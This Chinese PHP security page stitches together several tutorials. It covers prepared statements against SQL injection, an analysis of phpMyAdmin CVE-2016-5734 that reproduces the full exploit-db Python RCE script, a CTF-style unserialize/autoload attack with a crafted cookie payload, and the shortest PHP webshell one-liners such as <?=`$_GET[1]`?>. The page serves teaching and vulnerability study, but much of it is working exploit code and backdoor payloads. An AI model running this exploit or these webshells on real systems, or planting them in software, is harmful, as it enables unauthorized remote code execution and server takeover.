PHP防止SQL注入的例子

 更新时间:2016年11月25日 15:21  点击:5550
防止SQL注入是我们程序开发人员必须要做的事情了,今天我们就来看一篇关于PHP防止SQL注入的例子了,具体的实现防过滤语句可以参考下面来看看吧。

使用prepared以及参数绑定查询可根本性防止sql注入的发生:SQL语句与参数分批传输到sql服务器的方式让利用字符串拼接的SQL注入没有了施展空间。

基本上你有两种方式完成上述方法:

使用PDO:
$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');
$stmt->execute(array('name' => $name));
foreach ($stmt as $row) {
    // do something with $row
}

2.使用MySQLi

$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);

$stmt->execute();

$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
    // do something with $row
}

正确的配置数据库连接

注意当你用PDO方式访问MySQLs时,使用真正的prepared 语句方式并不是默认设置。所以你必须禁止模拟prepared模式:

$dbConnection = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass');

$dbConnection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$dbConnection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

以上语句中对错误模式的设置并不是必须的,但我强烈推荐加上它。这样脚本就不会因为数据库的”Fatal Error”而停止,而是抛出一个PDOExceptions,从而让你能够抓取到这个异常。

preg_replace是规则替换了在开发中我们常用到preg_replace函数了,那么为什么会说preg_replace引发的phpmyadmin(4.3.0-4.6.2)命令执行漏洞呢,我们来看看。


这里拿cve-2016-5734讲讲preg_replace引发的命令执行漏洞,漏洞在exploit-db上有利用脚本,经过测试没有问题。这里对这个漏洞进行一下回溯跟踪来解释下preg_replace这个正则替换函数带来的问题。
0x01 漏洞触发原理

preg_replace漏洞触发有两个前提:

01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,举个例子:

//echo preg_replace('/test/e', 'phpinfo()', 'just test');

//这样是可以执行命令的


//echo preg_replace('/test/e', 'phpinfo()', 'just tesxt');

//echo preg_replace('/tesxt/e', 'phpinfo()', 'just test');

//这两种没有匹配上,所以返回值是第三个参数,不能执行命令
0x02 触发漏洞位置回溯

cve-2016-5734的漏洞问题出现在TableSearch.class.php中的_getRegexReplaceRows函数,让我们看看这个函数:
phpmyadmin_1
$find ,和 $replaceWith可以看到在preg_replace中被引用,让我们回溯这两个变量,在getReplacePreview中有调用_getRegexReplaceRows函数
phpmyadmin_2
继续回溯,在tbl_find_replace中有调用getReplacePreview,同时参数是post传入,下面让我们看看如何利用构造
phpmyadmin_3
0x03 构造利用

漏洞利用思路:这个漏洞目前没法直接利用,因为有token限制,需要登陆抓到token,同时需要构造第三个参数保证和第一个参数匹配上,第一个参数可控,但是第三个参数是从数据库中取出的,所以只能提前插入到数据库中,然后再取出来,columnIndex是取出字段值的可控,所以第三个参数也可控了。
流程大概走了一圈,下面看看怎么构造,首先这个漏洞需要有创建表插入字段权限的账号,这里直接用的root账号测试的,先创建个表,然后表中插入个字段值为"0/e"
phpmyadmin_4
#!/usr/bin/env python

# cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
# Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
# CVE: CVE-2016-5734
# Author: https://twitter.com/iamsecurity
# run: ./cve-2016-5734.py -u root --pwd='' http://localhost/pma -c "system('ls -lua');"
# https://www.exploit-db.com/exploits/40185/

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)

注入我们听到最多的sql了,其实php注入也是黑客常用的一种办法了,今天我们就来看php注入的一篇攻击的记录了,希望大家能够通过此教程来做好自己网站安全。


1. 写在前面

最近经常会遇到一些比较有意思的漏洞,比如PHP反序列化漏洞,PHP对象注入。这些漏洞可能在平时很难遇到,但是在CTF以及一些CMS倒是经常看到他们的背影。今天刚刚好手上看到了某CTF的代码,但是并没有获取所有源码,因此修改了部分代码进行分析。

2. 自动加载

2.0 为什么要自动加载?

在面向对象编程中,程序员经常会编写好类然后在一个入口文件中将它们包含进来。如果一个项目非常大,可能存在成百上千个类文件,如果一一包含进去,那么入口文件就会显得特别大并且不利于维护。因此,PHP5提供了一种自动加载机制。

2.1 __autoload

index.php

function __autoload($classname){
 $class_file = strtolower($classname).".php";
 if(file_exists($class_file)){
  require_once("$class_file");
 }else{
  echo "$class_file does not exist!";
 }
}
$obj = new File();

访问index.php,程序会尝试实例化File类。PHP的解析器会自动调用__autoload()函数。假设当前目录下没有file.php,那么就会输出 “file.php does not exist!” 并且抛出错误。

file.php

class File{
 function __construct(){
  echo "File class is instantiated";
 }
}

此时访问index.php,就会得到 “File class is instantiated” 的结果。这样一来,自动加载机制就非常好理解了。

2.2 手动调用 spl_autoload

void spl_autoload ( string $class_name [, string $file_extensions ] )
 
它可以接收两个参数,第一个参数是$class_name,表示类名。第二个参数$file_extensions是可选的,表示类文件的扩展名;如果不指定的话,它将使用默认的扩展名.inc或.php。
spl_autoload首先将$class_name变为小写,然后在所有的include path中搜索$class_name.inc或$class_name.php文件(如果不指定$file_extensions参数的话),如果找到,就加载该类文件。
同样,你可以手动使用spl_autoload(“Person”, “.class.php”)来加载Person类。实际上,它跟require/include差不多

举个例子

spl_autoload("upload");
$F = new Upload();

这里没有指定扩展名,那么就会在当前目录下寻找upload.inc或者upload.php并自动加载。其实,到这里而言,和require、include相比并没有简单。相反,它们的功能基本是一模一样的。

2.3 自动调用 spl_autoload

上面所说的使用手动的方式调用spl_autoload,工作量其实和require/include基本上差不多。调用spl_autoload_register()的时候,如果没有指定欲注册的自动装载函数,则自动注册 autoload 的默认实现函数spl_autoload()。

举个例子

spl_autoload_register();
$F = new Upload();

此时,程序会在当前路径下自动加载upload.inc或upload.php。

3. 反序列化
字符串序列化成类之前,类必须提前声明,否则无法反序列化。
字符串在反序列化的时候,会自动调用__wakeup()魔术方法
Object序列化格式 -> O:strlen(对象名):对象名:对象大小:{s:strlen(属性名):属性名:属性值;(重复剩下的元素)}

4. 漏洞剖析

index.php

include_once "common.inc.php";
if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is', $req["act"])) {
    include_once __DIR__ . "/" . $req["act"] . ".php";
    exit;
}


common.inc.php

spl_autoload_register();
error_reporting(0);
ini_set('display_errors', false);
$req = [];
 
foreach([$_GET, $_POST] as $global_var) {
    foreach($global_var as $key => $value) {
        is_string($value) && $req[$key] = addslashes($value);
    }
}
 
$userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : [];
 

upload.php

if($_FILES["attach"]["error"] == 0) {
    if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {
        $typeAccepted = ["image/jpeg", "image/gif", "image/png"];
        $blackext = ["php", "php5", "php3", "html", "swf", "htm"];
        $filearr = pathinfo($_FILES["attach"]["name"]); 
        if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {
            exit("type error");
        }
        if(in_array($filearr["extension"], $blackext)) {
            exit("extension error");
        }
        $filename = $_FILES["attach"]["name"];
        if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {   
            array_push($userinfo, $filename);
            setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);
            echo htmlspecialchars("upload success, new filename is {$filename} .");
        } else {
            echo "upload error!";
        }
    }
} else {
    echo "no upload file";
}


在common.inc.php中执行了spl_autoload_register()函数,并没有使用参数。
后缀没有禁止.inc的类型
在common.inc.php会反序列化COOKIE中的数据
上传目录在当前目录下
因此我们需要如下构造:

上传一个名为info.inc的文件,抓包修改MIME类型。info.inc的内容如下所示:

class info{
 function __wakeup(){
  phpinfo();
 }
}


修改cookie的uesrinfo字段为:O:4:”info”:0:{}
访问index.php即可触发phpinfo()函数。

webshell大家都懂就是网站注入了,对于webshell我们有万千不同的方式了,今天来看最短的webshell引起的一些深思。

The shortest webshell of PHP

某天闲逛wooyun,发现一篇挺有意思的文章————《32C3 CTF 两个Web题目的Writeup》。其中提到了两个比较有意思的东西:

The shortest webshell of PHP

PHP执行运算符反引号

上面提及的文章,我读前几遍的时候是很费解的!后来,土司的P牛给我一些指点,豁然开朗

Google “the shortest webshell”


<?=`$_GET[1]`?>


google得到的结果之一如上所示,一共15个字符。这里比较有意思的是

php.ini需要开启short_open_tag后才能使用短标签,才能使用 <?= 代替 <? echo
php中使用分号分隔语句进行解析

最后一行不需要分号

php多条语句可以写在一样,但是需要分号分隔
多个分号之间只要是空白符,php是允许的!(有待考究)

<?=`$_GET[1]`;

google得到的最短的webshell如上所示,一共14个字符

这里去掉了闭合标签,但是加上了分号
最后一行不需要分号,但是一定需要闭合标签!
此外,这种写法嵌套在其它文件中是不可行的,那么就必须写上闭合标签!
linux中bash的妙用


<?=`*`;


一个7个字符,这七个字符能做什么呢?

在linux系统中,在终端运行*与上面的作用是一样的!
*用于匹配目录下的所有文件名(包括目录名)。
反引号就是执行运算符,将目录下的文件名以命令的形式进行执行!接下来就是linux的东西了

[!--infotagslink--]

相关文章

  • phpems SQL注入(cookies)分析研究

    PHPEMS(PHP Exam Management System)在线模拟考试系统基于PHP+Mysql开发,主要用于搭建模拟考试平台,支持多种题型和展现方式,是国内首款支持题冒题和自动评分与教师评分相...2016-11-25
  • ASP/PHP sql注入语句整理大全

    SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作 标准注入语句1.判...2016-11-25
  • PHP防止SQL注入的例子

    防止SQL注入是我们程序开发人员必须要做的事情了,今天我们就来看一篇关于PHP防止SQL注入的例子了,具体的实现防过滤语句可以参考下面来看看吧。 使用prepared以及参...2016-11-25
  • PHP中自带函数过滤sql注入代码分析

    SQL注入攻击是黑客攻击网站最常用的手段。如果你的站点没有使用严格的用户输入检验,那么常容易遭到SQL注入攻击。SQL注入攻击通常通过给站点数据库提交不良的数据或...2016-11-25
  • AngularJS 依赖注入详解及示例代码

    本文主要介绍AngularJS 依赖注入的知识,这里整理了相关的基础知识,并附示例代码和实现效果图,有兴趣的小伙伴可以参考下...2016-08-24
  • Spring boot 无法注入service问题

    这篇文章主要介绍了Spring boot 无法注入service问题,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教...2021-10-09
  • Spring 配置文件字段注入到List、Map

    这篇文章主要介绍了Spring 配置文件字段注入到List、Map,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-10-19
  • php sql防注入以及 html 过滤安全函数

    方法一过滤html自定义函数 代码如下 复制代码 function ihtmlspecialchars($string) { if(is_array($string)) { foreach($string as $key =>...2016-11-25
  • sql安全之SQL注入漏洞拖库原理解析

    本文章以自己的一些经验来告诉你黑客朋友们会怎么利用你数据库的sql漏洞来把你的数据库下载哦,有需要的同这参考一下本文章。 在数据库中建立一张表: 代码...2016-11-25
  • .Net防sql注入的几种方法

    这篇文章主要给大家总结介绍了关于.Net防sql注入的几种方法,文中通过示例代码介绍的非常详细,对大家学习或者使用.Net具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧...2021-09-22
  • ASP.NET防止SQL注入的方法示例

    这篇文章主要介绍了ASP.NET防止SQL注入的方法,结合具体实例形式分析了asp.net基于字符串过滤实现防止SQL注入的相关操作技巧,需要的朋友可以参考下...2021-09-22
  • PHP中如何防止外部恶意提交调用ajax接口

    本文简单介绍如何防止外部恶意调用ajax接口,以达到节省流量,减轻服务器压力的目的。...2016-04-15
  • SpringBoot属性注入的多种方式实例

    在 SpringBoot中,提供了一种新的属性注入方式,支持各种java基本数据类型及复杂类型的注入,下面这篇文章主要给大家介绍了关于SpringBoot属性注入的多种方式,需要的朋友可以参考下...2021-10-30
  • spring中向一个单例bean中注入非单例bean的方法详解

    Spring是先将Bean对象实例化之后,再设置对象属性,所以会先调用他的无参构造函数实例化,每个对象存在一个map中,当遇到依赖,就去map中调用对应的单例对象,这篇文章主要给大家介绍了关于spring中向一个单例bean中注入非单例bean的相关资料,需要的朋友可以参考下...2021-07-19
  • .NET Core源码解析配置文件及依赖注入

    这篇文章我们设计了一些复杂的概念,因为要对ASP.NET Core的启动及运行原理、配置文件的加载过程进行分析,依赖注入,控制反转等概念的讲解等...2021-09-22
  • php中防止post提交重复数据

    重复提交数据我们在应用中经常会碰到了,今天我给各位介绍利用session来防止用户不小心重复提交数据的一个例子 原理非常的简单:就是用session在表单页面记录下,...2016-11-25
  • ASP.NET Core依赖注入系列教程之控制反转(IoC)

    这篇文章主要给大家介绍了关于ASP.NET Core依赖注入系列教程之控制反转(IoC)的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-09-22
  • php防注入过滤客户提交$_GET 和$_POST参数

    下面一款防止php页面给sql注入的一个程序代码,有需要的朋友可参考。 以下代码实现过滤php的$_GET 和$_POST参数 代码如下 复制代码 /** *...2016-11-25
  • 浅析依赖注入框架Autofac的使用

    Autofac是一款IOC框架,比起Spring.NET,Unity,Castle等等框架,它很轻量级且性能也很高,下面小编给大家介绍下依赖注入框架Autofac的使用。...2020-06-25
  • 如何获取C#中方法的执行时间以及其代码注入详解

    这篇文章主要给大家介绍了关于如何获取C#中方法的执行时间以及其代码注入的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面来一起看看吧...2020-06-25